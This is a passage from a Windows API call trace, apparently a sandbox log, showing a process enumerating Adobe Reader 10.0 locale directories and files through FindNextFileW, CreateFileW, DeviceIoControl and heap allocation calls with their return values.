ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x83c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x156a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.ESP", cAlternateFileName="")) returned 1 [0081.809] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.809] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.809] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0081.810] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a1378, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12a1378, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0081.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a1378) returned 1 [0081.810] NtClose (Handle=0x168) returned 0x0 [0081.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1276b98) returned 1 [0081.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276b98 [0081.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276ca0 [0081.811] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0081.811] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.811] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276da8 [0081.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259d28 [0081.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276eb0 [0081.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.813] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259d48 [0081.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276fb8 [0081.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6a80) returned 0x12a1378 [0081.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129a930) returned 1 [0081.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.815] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.815] GetLastError () returned 0x12 [0081.815] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0081.815] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.815] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.815] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.815] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.815] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.815] GetLastError () returned 0x12 [0081.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1276ca0) returned 1 [0081.815] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1276da8) returned 1 [0081.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1276b98) returned 1 [0081.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0081.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ESP", cAlternateFileName="")) returned 1 [0081.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 1 [0081.816] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 0 [0081.816] GetLastError () returned 0x12 [0081.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.816] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.817] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0081.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0081.818] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12a7e00 [0081.818] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a7e00, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12a7e00, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a7e00) returned 1 [0081.818] NtClose (Handle=0x16c) returned 0x0 [0081.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.819] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0081.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="")) returned 1 [0081.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259d68 [0081.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276b98 [0081.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.822] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.EUQ", cAlternateFileName="")) returned 1 [0081.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259d88 [0081.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276da8 [0081.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.824] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.EUQ", cAlternateFileName="")) returned 1 [0081.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259da8 [0081.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1276ca0 [0081.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.825] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.EUQ", cAlternateFileName="")) returned 1 [0081.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259dc8 [0081.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12770c0 [0081.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.827] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.EUQ", cAlternateFileName="")) returned 1 [0081.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.827] RtlFreeHeap (HeapHandle=0x940000, 